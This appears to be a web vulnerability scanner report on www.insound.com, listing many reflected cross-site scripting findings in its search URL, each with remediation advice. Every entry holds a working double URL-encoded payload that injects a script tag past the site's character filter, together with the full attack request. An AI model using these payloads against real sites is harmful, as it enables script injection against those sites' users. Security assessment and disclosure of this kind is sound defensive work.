GET /search/query/Sufjan%20Stevensfe6a5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee1845867a93&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 81c38%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6a97be3ed53 was submitted in the REST URL parameter 3. This input was echoed as 81c38</title><script>alert(1)</script>6a97be3ed53 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Super%20Wild%20Horses81c38%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6a97be3ed53&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9726%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e878a174d696 was submitted in the REST URL parameter 3. This input was echoed as a9726"><script>alert(1)</script>878a174d696 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Super%20Wild%20Horsesa9726%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e878a174d696&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 787dc%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e990d4651c3c was submitted in the REST URL parameter 3. This input was echoed as 787dc</title><script>alert(1)</script>990d4651c3c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Tanlines787dc%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e990d4651c3c&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb77e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb58db8f23a2 was submitted in the REST URL parameter 3. This input was echoed as fb77e"><script>alert(1)</script>b58db8f23a2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Tanlinesfb77e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb58db8f23a2&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload c8fc4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7500c741745 was submitted in the REST URL parameter 3. This input was echoed as c8fc4</title><script>alert(1)</script>7500c741745 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Telekinesisc8fc4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7500c741745&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0f11%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5d8316cf319 was submitted in the REST URL parameter 3. This input was echoed as b0f11"><script>alert(1)</script>5d8316cf319 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Telekinesisb0f11%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5d8316cf319&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3275a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e27048df876d was submitted in the REST URL parameter 3. This input was echoed as 3275a"><script>alert(1)</script>27048df876d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Tennis3275a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e27048df876d&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 2c40a%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7c40d76bdd5 was submitted in the REST URL parameter 3. This input was echoed as 2c40a</title><script>alert(1)</script>7c40d76bdd5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Tennis2c40a%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7c40d76bdd5&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aab32%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebe905e6be2f was submitted in the REST URL parameter 3. This input was echoed as aab32"><script>alert(1)</script>be905e6be2f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Bugaab32%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebe905e6be2f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 5b599%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec4d2ed824ff was submitted in the REST URL parameter 3. This input was echoed as 5b599</title><script>alert(1)</script>c4d2ed824ff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Bug5b599%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec4d2ed824ff&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4aa01%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed3735558f2f was submitted in the REST URL parameter 3. This input was echoed as 4aa01"><script>alert(1)</script>d3735558f2f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Cannabinoids4aa01%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed3735558f2f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload e77c8%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2a6f426d90c was submitted in the REST URL parameter 3. This input was echoed as e77c8</title><script>alert(1)</script>2a6f426d90c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Cannabinoidse77c8%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2a6f426d90c&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8b0e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e661f36b37aa was submitted in the REST URL parameter 3. This input was echoed as d8b0e"><script>alert(1)</script>661f36b37aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Cannanesd8b0e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e661f36b37aa&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload defb5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e26b7361acd0 was submitted in the REST URL parameter 3. This input was echoed as defb5</title><script>alert(1)</script>26b7361acd0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Cannanesdefb5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e26b7361acd0&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e482%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebc793de92ac was submitted in the REST URL parameter 3. This input was echoed as 9e482"><script>alert(1)</script>bc793de92ac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Cannonball%20Adderley%20Quintet9e482%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebc793de92ac&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b8d11%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edf10dce8861 was submitted in the REST URL parameter 3. This input was echoed as b8d11</title><script>alert(1)</script>df10dce8861 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Cannonball%20Adderley%20Quintetb8d11%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edf10dce8861&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload cddd4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e92d6a803c95 was submitted in the REST URL parameter 3. This input was echoed as cddd4</title><script>alert(1)</script>92d6a803c95 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Cansecoscddd4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e92d6a803c95&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 260e6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e72cdd54997d was submitted in the REST URL parameter 3. This input was echoed as 260e6"><script>alert(1)</script>72cdd54997d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Cansecos260e6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e72cdd54997d&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c82c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e82e59e4435d was submitted in the REST URL parameter 3. This input was echoed as 8c82c"><script>alert(1)</script>82e59e4435d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Capes8c82c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e82e59e4435d&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b295c%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea0b843e794e was submitted in the REST URL parameter 3. This input was echoed as b295c</title><script>alert(1)</script>a0b843e794e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Capesb295c%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea0b843e794e&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 479e7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efaca75e5ba9 was submitted in the REST URL parameter 3. This input was echoed as 479e7"><script>alert(1)</script>faca75e5ba9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Capitol%20Years479e7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efaca75e5ba9&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 3f888%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eccd9c441832 was submitted in the REST URL parameter 3. This input was echoed as 3f888</title><script>alert(1)</script>ccd9c441832 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Capitol%20Years3f888%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eccd9c441832&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8973%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e74f08f08b9f was submitted in the REST URL parameter 3. This input was echoed as d8973"><script>alert(1)</script>74f08f08b9f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Capstan%20Shaftsd8973%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e74f08f08b9f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload a6e83%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6661fa7251e was submitted in the REST URL parameter 3. This input was echoed as a6e83</title><script>alert(1)</script>6661fa7251e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Capstan%20Shaftsa6e83%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6661fa7251e&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 2be34%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecb9b3c56081 was submitted in the REST URL parameter 3. This input was echoed as 2be34</title><script>alert(1)</script>cb9b3c56081 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Drums2be34%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecb9b3c56081&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3e56%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edec7f518905 was submitted in the REST URL parameter 3. This input was echoed as d3e56"><script>alert(1)</script>dec7f518905 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Drumsd3e56%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edec7f518905&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 13242%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6f9945cfdae was submitted in the REST URL parameter 3. This input was echoed as 13242</title><script>alert(1)</script>6f9945cfdae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Mountain%20Goats13242%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6f9945cfdae&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
